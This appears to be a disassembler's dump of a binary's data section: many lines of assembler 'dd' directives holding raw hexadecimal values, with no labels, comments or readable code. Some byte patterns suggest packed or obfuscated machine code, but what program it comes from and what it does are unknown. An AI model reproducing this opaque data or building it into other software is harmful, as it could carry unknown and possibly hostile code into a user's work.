		dd 0F34462AAh, 5EDCFA42h, 0BA69DD1Ch, 28A931C2h, 0A62C2E0h
		dd 0EB095152h, 38DF7843h, 70C1DF27h, 5651DFC5h,	0BA965Eh
		dd 0F1580000h, 41B5F45Ch, 8131C2BAh, 0F433B111h, 37EEDCB3h
		dd 31B994C9h, 55FD6DD9h, 0EE98F04Ah, 689DEF37h,	6D5D058Dh
		dd 0FBD9C015h, 0BA62ECC6h, 11F772CAh, 0C8582A2Ch, 80h
		dd 1150928Ah, 31C2BABDh, 8A156DDDh, 31C2BA31h, 0A2240237h
		dd 961EF9FAh, 1AAFDE36h, 0A1352D0h, 7237EEDAh, 2400B102h
		dd 0B3E8F69Eh, 0B7A74FD9h, 519B305Fh, 0E19794D3h, 0A3E531C2h
		dd 9A9DEE64h, 42C0303Dh, 9A9D8F03h, 75FCF3Dh, 0ABAD2B9Bh
		dd 0E9311A36h, 534B8DCBh, 3DEE4FA7h, 8534DC60h,	0E628A6F0h
		dd 0F951D3B1h, 0B67DA96Eh, 0DB59C93Bh, 79E45A99h, 0B6262346h
		dd 4BEEFD5Eh, 9, 90345CF1h, 7B22B8C3h, 43820060h, 37EE969Eh
		dd 1B26CE3Eh, 37EEE4A3h, 0F5E0A7C0h, 5829F00Fh,	15C6h
		dd 25958800h, 5031C2BAh, 1290F072h, 217903DDh, 0FFFC3442h
		dd 5CF154FFh, 5BE5BFF4h, 0F248C3B3h, 1431C2BAh,	87C644A4h
		dd 37EECE22h, 77AE1E20h, 0BBD3BFCEh, 0DF87F763h, 0FA508FD1h
		dd 3A37EE5Eh, 0BFBBBC61h, 0DE5FBB92h, 0C1197905h, 0EE01C436h
		dd 0C7C2DB37h, 63EFC8FDh, 92AA900Bh, 39615829h,	23000005h
		dd 0FC805D92h, 270C6454h, 82DD72C0h, 42C020A6h,	0EEDCF603h
		dd 0F1CF0437h, 2AAB176Fh, 0E967C74Fh, 2E26F0E7h, 3D95ED9Dh
		dd 11277681h, 345DDABh,	30914EC4h, 330F909Eh, 0C6F54DADh
		dd 348AC931h, 749E3091h, 5EE6A926h, 0FF80DCA6h,	0CD3E9E22h
		dd 0D0C068F4h, 96B3F270h, 46981CD3h, 0D71658D6h, 87DCA363h
		dd 23DB33A3h, 1795DF74h, 298105E2h, 59FE5C9Bh, 0B02081ECh
		dd 97B5FD32h, 79538846h, 1A7A04DEh, 0DBF941C2h,	7AA5F876h
		dd 7FDE16FAh, 0B2Fh, 5DAECE15h,	0F748D2ACh, 92E36B46h
		dd 2B7C08E1h, 0C7189E7Ah, 0A985A039h, 4321D223h, 0E2BF70C1h
		dd 145C0D5Eh, 6AF8A5F6h, 0F6FDD72Bh, 2321F737h,	9139579Fh
		dd 0E8064E83h, 82CC6190h, 0BADB0204h, 375D3341h, 0CD0F51DFh
		dd 0C2D0388Eh, 92EA5A31h, 0EE814E07h, 0C03EAE37h, 0D22AAE8Bh
		dd 0AE320F44h, 2DCFAC5Dh, 2656ACEBh, 87837EEh, 0EE26398Dh
		dd 0FFD85937h, 0BB31373h, 0EE268A00h, 565DAD37h, 25BA37EEh
		dd 16087EBDh, 0DA4A37EEh, 2CBDFC7Ah, 0EC31C248h, 91C6D47Ch
		dd 49D42CB8h, 3D9A6FF1h, 585A9CEEh, 0FE51EE33h,	0F83FEBBh
		dd 4F3D9AB6h, 0C926EDFh, 0ADB85FB4h, 51FE45C7h,	137Eh
		dd 5CF14000h, 0F4559412h, 1437EED7h, 199DFCA4h,	0AF000000h
		dd 94125CF1h, 0EEDBB855h, 0FDD75837h, 40B6F573h, 8237EE9Bh
		dd 0D00AB212h, 0FB815D92h, 0B0064553h, 0D231C2BAh, 29AA0262h
		dd 3E4DE5E1h, 4A83CED7h, 4AD385EAh, 0E31B3E2Dh,	0A1E84h
		dd 9DBD0400h, 37C19B4Ch, 0D25A35E6h, 6BF7D081h,	78D691Ah
		dd 729728B6h, 0EBF1096h, 0AC5DAE30h, 49FA4BCFh,	0E592E301h
		dd 0F2A21857h, 0EE437F6h, 0F45CF110h, 0C2BA41B5h, 0A0118131h
		dd 0A3933BC7h, 4E83C543h, 0B1ACEA74h, 3FA7E762h, 87B03B93h
		dd 3737EE55h, 0D61E1FC7h, 0BD053AB8h, 0AF07F79Fh, 825B904Eh
		dd 3A139EF6h, 405F215Fh, 0B794C30Bh, 3B9B8B33h,	1C4BA393h
		dd 0BEC03E86h, 2C64C048h, 71D22AF5h, 0DC3271B3h, 0FE1CB569h
		dd 7207368Eh, 3368AA28h, 3B2BD355h, 8BB58E3h, 0EB5B1A99h
		dd 0DE684243h, 0CB4D2B60h, 1EB31273h, 0C61756D4h, 46044D10h
		dd 0EB202ED6h, 0A32E8612h, 812A42Bh, 0E4C1F648h, 70C8B860h
		dd 83697C1Bh, 0D624862Fh, 0E42CC7A1h, 0CE2E1EC6h, 9CBD1150h
		dd 6DDD0812h, 142EB15h,	0F1AD0000h, 5594125Ch, 37EEDD3Ch
		dd 654378BAh, 991268E3h, 0C43437EEh, 49F17753h,	25950159h
		dd 16347C7Dh, 0AECC14C5h, 0D702FB06h, 57355F21h, 0F9E31F7h
		dd 8AEAC20Eh, 7B99E1E2h, 0E7AD05D3h, 7A077E77h,	2B37D21Bh
		dd 0CB8483CCh, 63146583h, 4A55FD1Bh, 747A0571h,	0AAA7627Bh
		dd 93E72662h, 0B3650196h, 2365E343h, 1976EE4h, 0C240B065h
		dd 1970F83h, 87DF4F65h,	0F2D7526h, 0CE0D4F91h, 65019778h
		dd 5BAF2A9Ah, 7B650197h, 0EDFBB30Bh, 6C47DAB8h,	0EC4C3CE4h
		dd 0CDFC5444h, 306FED3Bh, 6501973Ah, 0BC1B6CDCh, 205FDD27h
		dd 632DF42Bh
		dd 3B7DFB6Bh, 2DF786FCh, 0A6E66Bh, 76A18CB6h, 6039AA1Ah
		dd 0E43C2CD4h, 0C5E32B2Ch, 4C7BC374h, 0B89E971h, 1C74FAD6h
		dd 930D5964h, 0D6EF6B2Dh, 0B8D61E33h, 0DA28AC67h, 7F13FCF9h
		dd 1FE10157h, 0B818151Ch, 0A12B053Ah, 0E82AE849h, 814F55A9h
		dd 870575FEh, 814FF248h, 4CA414FEh, 0BD6583CBh,	49942CB2h
		dd 8782CB77h, 136482CAh, 54FC1A62h, 48C610A5h, 657CAC09h
		dd 2968AA62h, 6A7572D5h, 139774F5h, 0E06642B3h,	84F04838h
		dd 60B4C314h, 0C6000000h, 94125CF1h, 1DB1052h, 64DFCF77h
		dd 31C2BAEEh, 0DD68C030h, 37EED77Ch, 83842C9Ch,	6CA11FA9h
		dd 0C91C2C90h, 0A773733Ch, 348AC947h, 5637EEFEh, 0AF2D8EE6h
		dd 0B44C75EFh, 0AAACEE6Ch, 29D9D7Fh, 17A2FA65h,	37EE97BBh
		dd 0DFD48DDBh, 0E547F452h, 0ECDC8408h, 0FA24E8Ch, 9D0B5D02h
		dd 9248C63Dh, 0A1F9835Dh, 69BAD820h, 0AD2B750Ah, 620D696Bh
		dd 62DC064Fh, 2E927F0Ah, 52C237EEh, 3EC29FD4h, 0DB5F3CEDh
		dd 12F02533h, 74093890h, 0E46DAC2Ah, 1431C21Dh,	99F1FCA4h
		dd 0FE3D9BEDh, 62A11F69h, 3BB7D389h, 0A1A32191h, 8A722C4Ch
		dd 0EB20D2FFh, 0E9132D7Ch, 6B793189h, 0AFB63C69h, 0E9104ED2h
		dd 488705A1h, 2347D0F2h, 0C14CA414h, 2347D049h,	9B4A4D66h
		dd 4BD0E7B5h, 136Ch, 5CF12E00h,	0F4559412h, 1437EED7h
		dd 389DFCA4h, 0AF000000h, 401B5092h, 0A52010B8h, 31C2BA51h
		dd 2EA4E371h, 7031C2BAh, 0AB62A000h, 0BF84D1CBh, 0CC6190E8h
		dd 28C50482h, 0C837EED3h, 75D8DA58h, 36EF03D3h,	5472BA2Bh
		dd 9F0A44FCh, 0B34E2857h, 8DED4D6Bh, 2D072A28h,	1D7CB43Eh
		dd 6BBh, 0E93A5AA1h, 83D45E38h,	1E6FF7D2h, 0B708946Dh
		dd 53A42A06h, 351134C5h, 0CFAD5EAFh, 6E4BFC4Dh,	0A0E899EAh
		dd 0F6843182h, 0F6F143B7h, 0AFAD8337h, 3E409D3Bh, 0EEBCBFEh
		dd 0BF5B4C8Ah, 8318479Fh, 7F7CBB39h, 7D37EED4h,	8AE20048h
		dd 0F702AE1Eh, 0F225BE43h, 63E12BC0h, 9DD51B24h, 6B1383FFh
		dd 5FDD27BCh, 880AE81Dh, 0E849A530h, 0DB69F971h, 9EC269Ch
		dd 98F868E5h, 0A19DE51Ah, 8F482DAh, 0E0BD2E78h,	3C7EFC5Ch
		dd 9EA89FDh, 159C9E5h, 89A7EFA0h, 0F8576824h, 0F6EA612h
		dd 61Bh, 499ABA01h, 0E334BE98h,	7ECF5732h, 1768F4CDh, 0B3048A66h
		dd 95719425h, 2F0DBE0Fh, 0CEAB5CADh, 48F94Ah, 56E491E2h
		dd 0F6F6A317h, 0F0DE337h, 0D439579Fh, 3E2D06B2h, 0DCB5144Ch
		dd 0C2000005h, 590A5B7Bh, 0F3A4F57Fh, 8E3F9018h, 27D829B5h
		dd 0E674C54Bh, 0CE5430D5h, 6CEECC7Dh, 98D6A1Bh,	0A1BF07B8h
		dd 0D615A350h, 37F6F660h, 9FCECCA2h, 0E2913957h, 4385034Dh
		dd 0C2BA8E04h, 860D031h, 0FCD03B7Ah, 8CFC37F6h,	0FD47DC3Bh
		dd 20957D7Fh, 5F6563AFh, 0A13A7907h, 6931DAE7h,	0F44651F9h
		dd 0EB3DA297h, 0A2185799h, 0CF3DA297h, 0D6C66EF2h, 5DB20A7Ah
		dd 20C5ABBAh, 161851F6h, 2E094F20h, 117668A6h, 0D5022C84h
		dd 0F0000000h, 631B6FAEh, 48263DA2h, 89FA6AC6h,	13CD25AFh
		dd 0FF949E3Bh, 0FBF837B5h, 1B37EEDCh, 74F4FFABh, 8806E5EEh
		dd 8FB30746h, 63D3E4F1h, 0FD47DC0Bh, 88FE3D7Fh,	0E8E4F18Fh
		dd 237111B3h, 0FB6BC7DAh, 0A9D615A3h, 69E2DDD3h, 0A3269CDBh
		dd 0F868EA9Dh, 0ADE2F098h, 99ED2CD2h, 0B9EA9DA3h, 6291E949h
		dd 0F19772CDh, 9DA35CB2h, 0AE0E7EEAh, 2591D04Eh, 55ECAD59h
		dd 0EA3267E5h, 18C4FCEEh, 2A8AFB8Ch, 0BE61BD9h,	0ADEBDB83h
		dd 0C4F93FDBh, 5FE03827h, 0DC94F917h, 21FBB26h,	4B16BCAh
		dd 50970000h, 542EDF30h, 0EDC879CAh, 8A631465h,	20FCADFEh
		dd 22BB499Ah, 54A52B07h, 0F243C5A3h, 8FE06441h,	277896DEh
		dd 59ADEC7Ah, 7937F6F4h, 0B441A5A3h, 53000000h,	27015CF1h
		dd 0C9512C9Dh, 6AA9EB69h, 31C2BA14h, 0E06EC636h, 0F6FC2AA1h
		dd 411B5037h, 0C2010FB7h, 37F6F84Ch, 66BE1E8Eh,	159F79FAh
		dd 0B6F537B5h, 37F6F840h, 41B5F482h, 8137F6F8h,	0CB59B111h
		dd 411F4E96h, 0C72717BFh, 5F7DC576h, 297308B7h,	0EC3469ABh
		dd 0DE3626CEh, 0DAA11653h, 0EE960631h, 0E260AA3Fh, 90C49EA0h
		dd 0B49D3ADh, 0AC048DF8h, 8EE1B821h, 0B70E03Bh,	50B9619Fh
		dd 0F8D8376Fh, 0DE000003h, 75267797h, 0FC0119Bh, 0AA5BAC34h
		dd 43F445D1h, 290E167h,	0EA704CE9h, 880AE899h, 25A98637h
		dd 0BDDB23D4h, 0F231BF6Ch, 37F6F49Ch, 95EAE8BEh, 31C2BA21h
		dd 5E6C3D3Fh, 0AE5E4CCAh, 83DB613Dh, 0C21086F8h, 15700531h
		dd 13E9D539h, 0CD6F2973h, 4D8F0D6Dh, 0CD324F4Bh, 2981EE69h
		dd 0F6CA3F9Eh, 2E083D37h, 70E04CA4h, 0AC85BAC8h, 49A9C70Fh
		dd 0A2870F1h, 617EFFA5h, 68C7FF44h, 377h, 0A5F6165Dh, 3F901AF4h
		dd 0DA2BB38Eh, 73C45029h, 0F60E6C2h, 0F1CD6881h, 8B691A6Bh
		dd 2A07B809h, 5CA455A6h, 0B240ED3Eh, 0F6F51F73h, 6B693F37h
		dd 0FA825D92h, 0BBD921A2h, 85CF6413h, 0C48BC807h, 0FB6B37EEh
		dd 0CAB7B7Dh, 10EBEC91h, 91683D2h, 99F1E509h, 53267D38h
		dd 8561986Eh, 21FDAEFFh, 9CDB1D9Bh, 436E1B26h, 0E8A0F868h
		dd 0DD5BA539h, 0EF47CBA8h, 5D92A48Eh, 23A4FC80h, 1415BDDBh
		dd 0FB30AECCh, 0DF409820h, 23A1EB80h, 0EED7CFE4h, 0F0CE4F37h
		dd 98D6C66Eh, 0ABB841A8h, 0CF77D7C4h, 0EE3F4AC4h, 49506937h
		dd 29C8B89Eh, 396F58h, 0F1310000h, 5294125Ch, 2F0AF150h
		dd 71C9E9ADh, 0EE78BDE6h, 0C56DDD37h, 1EA882B7h, 0A32E8676h
		dd 37EE702Bh, 7D682F48h, 58298797h, 0FF37E8EAh,	0F1EB09E5h
		dd 0EF6F99h, 9F310000h,	83913957h, 46EE704Eh, 7F9DE556h
		dd 0E8FE7D7h, 304AC32h,	0F4F59DBBh, 823D8EACh, 31C2BF2Bh
		dd 7AF8165Eh, 0D2737278h, 1F5EFC7Eh, 31C24EABh,	0C31B7BEBh
		dd 4B69B162h, 155FF4A3h, 1A2B5897h, 87C937EEh, 44EC0A52h
		dd 9265D954h, 35A537EFh, 0B00171DDh, 8761BC51h,	0E28A10ECh
		dd 0FAEA92F2h, 4DB0EFBCh, 85E5828Dh, 2721C807h,	55C531DCh
		dd 145395D7h, 3D9946BEh, 0C36BEDCBh, 0AF0777D3h, 4ECC522Eh
		dd 4679CD0Ch, 29993D99h, 0FF57DBB8h, 8B11ED9Eh,	89037826h
		dd 0DF3E764Ah, 1EBh, 196A8AD1h,	0B3048E68h, 4E9F2702h
		dd 0E738C49Dh, 83D45A36h, 6541E4F5h, 0FFDD8EDFh, 9E7B2C7Dh
		dd 0D018C91Ah, 26B461B2h, 0F6EA93E7h, 0DFDDB337h, 0E01FC39Fh
		dd 31C2BA6Ah, 8BDC3CACh, 0D332CBCDh, 92D05C35h,	0D22A69D0h
		dd 9AEB0951h, 125CF1B0h, 0FC845F94h, 19F36454h,	9FF7E78Fh
		dd 0DE51D211h, 59C937EEh, 36A1A3B1h, 69E558D4h,	1C6EF951h
		dd 1337EEEDh, 62481FFAh, 195829FAh, 0BFh, 39579FDBh, 2EB49091h
		dd 0A5767886h, 91977FC1h, 0E60E3E75h, 6E3B50A8h, 375DB1F0h
		dd 0D7D31C2h, 32F32AB5h, 0BE0631C2h, 569E4FA0h,	4CE19038h
		dd 38458402h, 0D837EE7Ch, 69A8EA68h, 37EE7C15h,	0C6DC535h
		dd 50CE18ADh, 0DDAE0D11h, 11EC6D31h, 76AB2989h,	7D6D1599h
		dd 20559725h, 0E162BAD8h, 702E7F05h, 83DB5D3Bh,	3BA02602h
		dd 4A887C8Dh, 0F4EA4981h, 0DA000000h, 71227393h, 0BBC0D97h
		dd 0A657A830h, 3FF041CDh, 0FE8CDD63h, 0E66C48EDh, 8406E495h
		dd 21A58233h, 0B9D71FD0h, 0EE2DBB68h, 37F6EB98h, 9FE6E4BAh
		dd 3BEC3DC3h, 62E8C4F3h, 196ACABAh, 64DA195Bh, 0A631C2BAh
		dd 9224DE36h, 0BABD1150h, 6DDD31C2h, 504C9415h,	549F7681h
		dd 48F050E1h, 90E1FF47h, 0D4529C31h, 0E63EC29Fh
		dd 0E7141658h, 0DC722541h, 58A7328Ah, 7C37F61Bh, 1B63640Ch
		dd 907D7FFDh, 0B537AE3Ch, 0C97ADB33h, 0B0BB6381h, 0A173203Bh
		dd 0DF1456D8h, 8BFF7A06h, 0B64A7B31h, 6CFA56D8h, 7B31D92Dh
		dd 2989F94Ah, 0C49D7CD1h, 0D611807Ch, 8D26712Fh, 0E32BDC2Dh
		dd 431C1DC5h, 0EC050FB7h, 14F2272Dh, 0A2FAEA92h, 6ABBD921h
		dd 0D55371B9h, 0FF3DC5A0h, 0B5ACB78Eh, 0B169C1DEh, 1252h
		dd 0E9F76400h, 129472A7h, 8BFF7A6Ah, 0CB31C2BAh, 9F49035Bh
		dd 8F903858h, 80812947h, 76771FA3h, 6D6E1698h, 62630B91h
		dd 57580086h, 494AF27Eh, 3D3EE66Eh, 1531D963h, 357368h
		dd 241C8900h, 0C381E389h, 4, 8704EB83h,	505C241Ch, 405E089h
		dd 83000000h, 48704E8h,	34895C24h, 0E7895724h, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 57243C89h,	0E67F63BFh, 3DC8BE5Bh
		dd 0FE315DD2h, 81243C8Bh, 4C4h,	3C8B5400h, 4C48324h, 8904EC83h
		dd 478F2434h, 243C8B08h, 5E08950h, 4, 8704C083h, 0FF5C2404h
		dd 815E2434h, 4C4h, 2948E900h, 68BAFFF8h, 26DEFAE4h, 52DEB8BAh
		dd 0C5030634h, 7397E0FFh, 0E57B61ABh, 68A2404Fh, 2DD6EF3h
		dd 0A111214Fh, 0A76B485Bh, 88124AA8h, 4B6469FDh, 0CF2A0C6Dh
		dd 196E4E94h, 894A1F27h, 0D3040EF2h, 2C726DBh, 0E5CB3A66h
		dd 0E75D5735h, 0FFCF6BDDh, 2F69623Ch, 83577CA2h, 7CA27160h
		dd 0BE616CA1h, 8D8D3DB8h, 63454C2h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 97C35141h, 9874E1FDh, 89761843h
		dd 2C2BA58Dh, 9E806h, 47E20000h, 235D97DBh, 2B1EC182h
		dd 2C243595h, 8B665E06h, 0D985C7F8h, 48062C12h,	6A000065h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 5230C351h, 5B58BD3h, 0C7062C19h, 2C29C185h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 18B4899Fh, 5D00E151h, 89C38B66h
		dd 2C0755B5h, 41B5FF06h, 6A062C2Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 5A26C352h
		dd 458F7835h, 66606051h, 0B589FB8Bh, 62C22ADh, 66606161h
		dd 0BA15F9BBh, 202F7CA2h, 0F595FF61h, 8B062C15h, 2C218DB5h
		dd 0FF006A06h, 2C26B195h, 0EBC08B06h, 0CF25796Ah, 7C29041h
		dd 0E4E90812h, 17DA4B75h, 0E900EDF5h, 0CD4F7FACh, 0CF6957B6h
		dd 0DA2D9145h, 0F506C799h, 0A4E64D16h, 9EBACC11h, 0BBAAF24Fh
		dd 0F1BED05Ch, 0B5EB44EDh, 1E34E871h, 0A8ED6DB3h, 2E1A1648h
		dd 8B64F9E2h, 0BABB48B3h, 9B58DD93h, 847995DEh,	0F0B0FA5Eh
		dd 66E7F531h, 50588C88h, 3C7FE36Bh, 653D94E0h, 8D110954h
		dd 3455ED8Dh, 59B58B06h, 89062C2Bh, 2C2BA58Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DFAE80D3h, 2878487Ah, 85C7D6DBh, 62C12D9h, 64D0h, 2523F381h
		dd 85C70DC2h, 62C29C1h,	0
		dd 0FFF98B66h, 2C00DDB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 35CEA2D2h
		dd 2A15F094h, 0B5014555h, 62C0005h, 8498589h, 95FF062Ch
		dd 62C15F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	27C35242h, 8D29D66Fh, 62C1DF9h,	95FF006Ah, 62C26B1h
		dd 3BEBC08Bh, 0D5E8A88Dh, 3C863ECCh, 652915B9h,	50DA2A98h
		dd 316CB4FDh, 1818739h,	9992A929h, 0CC645C8Fh, 6490939Fh
		dd 8E3ABAB0h, 0EA4080A5h, 0FA14E998h, 63561A6Eh, 3DF5E74Ah
		dd 8D367CDCh, 3456FB8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C18FBA62h, 81661116h
		dd 89EB1CEAh, 2C2BA58Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 97B771EAh, 0A4DB58Bh
		dd 85C7062Ch, 62C12D9h,	582Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 35C35242h, 0E63F7C33h, 0C185C7C6h
		dd 62C29h, 66000000h, 0FF064CBAh, 2C11F9B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0EEB7027Fh, 8842B903h, 95FF89C8h, 62C15F5h, 0B71BD09h
		dd 6A062Ch, 26B195FFh, 0C08B062Ch, 0A1597DEBh, 0D2D8217h
		dd 8119AE52h, 36BAB4A3h, 3499E957h, 1D99B059h, 0B4F653ACh
		dd 0E89E3D6Fh, 5FFDFD7Bh, 6FDE9525h, 40D7F907h,	0E43A69Bh
		dd 8C6892DEh, 0E41C77B8h, 6D84C67Eh, 2AD15168h,	0C31BC1C9h
		dd 80014622h, 0FBCED08Ch, 64EA1419h, 5FCEAC82h,	0F7EF570Ch
		dd 88C1849Ah, 0A44DBC81h, 1B833176h, 0ABBA2315h, 6F6351EAh
		dd 66B78AF2h, 41A77598h, 81F0E038h, 203B7554h, 0EBDFC5A3h
		dd 10h,	3 dup(0)
		dd 8BC08B00h, 2C1135B5h, 65BD8306h, 62C1Dh, 0BD830975h
		dd 62C23D9h, 50197400h,	0B8C08B53h, 42Dh, 6918589h, 9D8D062Ch
		dd 62EB16Ch, 585BD3FFh,	23D9BD83h, 7400062Ch, 0B8535017h
		dd 42Dh, 6918589h, 9D8D062Ch, 62EAE5Bh,	585BD3FFh, 0DDE98160h
		dd 61536CF4h, 14E8h, 0F10A8500h, 3CF64B81h, 9E612909h
		dd 7C44A0E4h, 9189E25Eh, 5E929h, 21AA0000h, 5A3458F0h
		dd 8589C08Bh, 62C26A9h,	65D8D8Bh, 958B062Ch, 62C0575h
		dd 0F00F983h, 0D984h, 0D38B6600h, 19E98589h, 8B64062Ch
		dd 2C3Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0ADE4A1F4h, 7C6623A1h, 6E90560h
		dd 44000000h, 1EAE518Fh, 0FFF0BC5h, 9184h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0DF9BF7A6h, 64FD0041h, 0B58BD84Fh, 62C0DC9h,	6A3F8Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 30C52AC3h, 0AEAFA723h, 0FD8D89CCh, 32062C1Fh, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0F33985ACh, 0BB47026Fh, 0B5232D1Bh, 62C1E05h, 14C19589h
		dd 0AAF3062Ch, 0D806C681h, 493562F2h, 3535041h,	2C1FA995h
		dd 0AD85C606h, 47062C21h, 68D0BF0Fh, 9417747Dh,	89F3EABEh
		dd 2434812Ah, 48C1FC51h, 73DB5FFh, 870F062Ch, 0Ch, 7E9h
		dd 94B4E500h, 7EC397D1h, 860C858Dh, 0FFF8062Fh,	53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 505037ABh, 0DA59D89h, 8589062Ch, 62C06C1h, 3810Fh, 8B660000h
		dd 0AD85C6D1h, 53062C21h, 0CE8h, 7B2F200h, 8745BD82h, 0A6FDFA1Dh
		dd 3202BA0Dh, 0E85A7C17h, 4, 88986AFCh,	0E950F08Ah, 10h
		dd 0EA774680h, 0E6271B65h, 80124FBEh, 17CC5CB7h, 424448Bh
		dd 8BF18Bh, 5E29B253h, 4244489h, 0FE8h,	1A6DCE00h, 9213EF13h
		dd 0D5BB694Bh, 9D700EBDh, 6A585Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0F4845FC3h, 60B80FCCh
		dd 11CD9501h, 0B5FF062Ch, 62C073Dh, 0AE960h, 7CC80000h
		dd 0BC08EFE2h, 0E74DD18Ah, 31058D8Bh, 8D61062Ch, 2F860C85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0B1B58B51h, 0FF062C08h, 0BAFBAD0h, 858D2693h
		dd 62F403Fh, 20598529h,	0CE81062Ch, 5C43B1B5h, 298589h
		dd 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0DBFE95C3h, 12E9DCh, 6570000h, 0FF808A05h
		dd 44681A80h, 46B38904h, 0E5B5F7F0h, 0FF6A206Ah, 2995FFh
		dd 4935062Ch, 0C7535041h, 2C0EC185h, 106h, 6585C700h, 62C1Eh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 1A15C355h, 8C28B3EBh, 6053CEF8h
		dd 73C98166h, 0B58961CAh, 62C310Dh, 461858Bh, 958B062Ch
		dd 62C0A19h, 0A364h, 0C2810000h, 90BF50h, 29A1BD83h, 0F00062Ch
		dd 4484h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 9F4B78B1h, 0B0B5218h, 2C2B99B5h
		dd 85858B06h, 0F062C1Fh, 688h, 0C9B58B00h, 8B062C04h, 99BD89E0h
		dd 0B6062C0Ah, 15BD83BAh, 62C14h, 377850Fh, 0C6F80000h
		dd 2C21AD85h, 6A5606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 67A189C3h, 0CB58AD25h, 0F28BE30Ch
		dd 139B58Bh, 4E8062Ch, 0DF000000h, 60A9C530h, 58F0Fh, 0DEB90000h
		dd 5707C6EBh, 1A6B866h,	6650615Eh, 448BD18Bh, 0F08A0424h
		dd 0BE66008Bh, 4489004Fh, 0E8580424h, 7, 9D04981Fh, 0E89CE5BAh
		dd 13h,	0E7BA6760h, 821D5FA5h, 89967BEBh, 71C3C0CDh, 0F8CBB28Eh
		dd 0B5FF5E5Ah, 62C073Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 27C35242h, 124FBEE6h,	8B5CB780h, 2C2BF9B5h
		dd 0C858D06h, 66062F86h, 0D0FFD38Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 82C35646h, 0BA90B6B6h, 3C227AD4h
		dd 0F18A9050h, 31298D8Dh, 0F280062Ch, 0BE509105h, 285C697h
		dd 0BAD08B91h, 66B23414h, 0F681046Ah, 3D7032E3h, 6880F57h
		dd 8B000000h, 2C29F595h, 0F3685A06h, 660ACDA4h,	3481D68Bh
		dd 0CDB4F324h, 0B9950B0Ah, 0FF062C1Ch, 2C20CDB5h, 0E2816606h
		dd 0D0FFA555h, 7D8D8957h, 5E062C1Ah, 20CDBD8Bh,	0CA80062Ch
		dd 3C7F0374h, 0C781F38Bh, 0F8h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 13C35747h, 84321F7Ch, 0DE707999h
		dd 0FD8D31DCh, 33062C29h, 2C28E195h, 2447C706h,	60000020h
		dd 869B58Bh, 0BD83062Ch, 634577Fh, 0F7840F00h, 83000000h
		dd 12B628C7h, 6A2E07C7h, 0B58B6469h, 62C0E91h, 610447C7h
		dd 29006174h, 2C0EFD95h, 60F56006h, 81B8C681h, 11E8463Bh
		dd 0DE000000h, 88E366E0h, 0AE4F0AE3h, 0A2AF6B2Ch, 0D1A6C9C9h
		dd 8B616159h, 34578785h, 31858906h, 89062C12h, 0F2BE0C47h
		dd 8B0880D9h, 34578B85h, 0A66FBE06h, 478950FCh,	1858908h
		dd 83062C2Eh, 6A28C7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8B66B7C3h, 2E07C7D7h, 0F6E6F63h
		dd 47C7D2BFh, 67696604h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0D38B6654h, 5783858Bh
		dd 0B5310634h, 62C08A5h, 0F0C4789h, 858BD7B7h, 634577Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 60C35141h
		dd 0B1254393h, 80084789h, 0F95803C6h, 0B95B58Bh, 8D8D062Ch
		dd 62C0B21h, 0D21DBE66h, 91E8CA80h, 51525052h, 5A310F5Eh
		dd 0E9505E58h, 0Ch, 73231C84h, 2059446Bh, 0E932E291h, 0DE991h
		dd 943A0000h, 871C084Fh, 92E00A8Ah, 0FA0B04Ah, 68Bh, 61950300h
		dd 0FF062C0Fh, 2C3129B5h, 1A890F06h, 60000000h,	24599D8Bh
		dd 0DE9062Ch, 0F6000000h, 16AE9993h, 37996A30h,	97DACB5Eh
		dd 80BC6861h, 0B7BE42BFh, 8101FAB2h, 90BC2434h,	8B6642BFh
		dd 0CDB5FFD0h, 60062C20h, 9C26E7B8h, 6D8D0135h,	61062C23h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F3501C3h, 1885h,	12E800h, 1DEF0000h, 0E98EB612h
